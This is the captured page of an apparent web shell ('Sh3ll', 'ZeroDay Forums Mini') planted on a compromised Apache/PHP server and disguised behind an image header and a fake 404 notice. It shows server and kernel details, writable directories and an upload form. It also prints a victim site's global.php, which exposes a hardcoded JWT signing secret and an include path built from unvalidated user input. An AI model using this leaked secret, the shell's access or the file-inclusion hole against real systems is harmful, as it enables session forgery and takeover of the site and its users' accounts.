ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/lnovel/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/lnovel/code/global.php
<?php
/*$result = $DB->query("SHOW FULL PROCESSLIST");
while ($row=$DB->fetch_row($result)) {
    $process_id=$row["Id"];
    if ($row["Time"] > 0 ) {
        $sql="KILL $process_id";
        $DB->fetch_row($sql);
    }
}*/
$v_lang = 'en';
/*$query_lang = $DB->query(" SELECT language_key,language_vi,language_en FROM tb_language ");
$v_lang = 'en';
if(isset($_SESSION['lang']) and $_SESSION['lang']!=''){
    $v_lang = $_SESSION['lang'];
}
$lang = array();
while ($row_lang = $DB->fetch_row($query_lang)){
    if($v_lang=='en'){
        $lang[$row_lang['language_key']] = $row_lang['language_en'];
    }else{
        $lang[$row_lang['language_key']] = $row_lang['language_vi'];
    }
}*/
//check option
$q_option = $DB->query("SELECT * FROM tb_options");
while ($r_option = $DB->fetch_row($q_option)){
    $arr_option[$r_option['option_name']] = $r_option['option_value'];
}
$cc_form_en = '';
if($arr_option['show_en']!='yes') {
    $txt_form_en = ' d-none ';
}
$cur_url = $func->current_url();
$ip = $func->get_ip_address();
//check user
$ob_user =  new stdClass();
$ob_user->user_id=0;
$ob_user->fullname = $ob_user->user_name = $ob_user->guest_avatar = $ob_user->guest_level_name='';
if(isset($_COOKIE['cookie_local_token_new']) and $_COOKIE['cookie_local_token_new']!=''){
    //$ob_user = JWT::decode($_SESSION['token'], 'NHG#789-2017', array('HS256'));
    //$_SESSION['local_token'] = $_COOKIE['cookie_local_token'];
    $ob_user = JWT::decode($_COOKIE['cookie_local_token_new'], 'NHG#789-2017', array('HS256'));
    //print_r($ob_user);
    //$ob_user = json_decode($_COOKIE['cookie_local_token']);
}
$act = isset($CORE->input['act']) ? $CORE->input['act'] : 'home';
include $act.'/index.php';
?>

ZeroDay Forums Mini